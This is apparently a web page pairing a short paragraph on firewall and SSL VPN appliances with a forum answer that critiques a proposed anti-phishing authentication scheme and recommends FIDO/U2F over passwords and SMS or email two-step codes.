Most modern firewall appliances do a decent job as a VPN concentrator - routing traffic through various VPN tunnels - and a good SSL VPN appliance is worth looking into for user access into your secure network: it offers security features (such as checking the AV definitions on the user's PC to see if it's up to date) and ease of deployment to the user's desktop (usually a java app launched by the browser) that are not always available with traditional VPN solutions.


An authentication protocol to prevent phishing & solve the problem of password reuse?

Welcome to the community.

What you've described is effectively a mashup of hash based authentication and TLS which isn't a bad idea in theory. However, this doesn't prevent phishing, it just prevents the discovery of the password. Your system would still be susceptible to reverse proxy attacks and pass the hash attacks just going off the top of my head.

Getting into identity management and protection, the root issue with passwords is not the interception process. We've built a lot of protocols around the protection of communications so even a clear text password transmitted through TLS is suffiently protected from MOST attacks. The issue with passwords is they are guessable, crackable, shareable, and don't do a sufficient job protecting the identities they are associated with. Everyone could use the same password.

So, knowing that passwords are inherently weak, the security industry is moving away from them as quickly as they reasonably can. As part of this, the Fido Alliance has been making major steps towards eliminating phishing and supporting the protection of authentication for users and services. In fact, using this frame work, Google has announced that they have totally eliminated phishing within their company. A pretty bold claim, but there is increasingly information backing it up.

For example, on January 1, 2019 there was a framework that used a reverse proxy solution to phish users with 2 Step authentication. It was literally a transparent layer between the user and actual service which passed through all information diligently between the user and the service. Using the custom reverse proxy, the solution builder was able to defeat multiple forms of Two Step authentication including SMS and email. The only authentication he couldn't defeat was FIDO through the use of U2F authentication.

I highly recommend studying more on the FIDO protocol here:

https://fidoalliance.org/

You can also see Google's two year study white paper on the U2F protocol here:

http://fc16.ifca.ai/preproceedings/25_Lang.pdf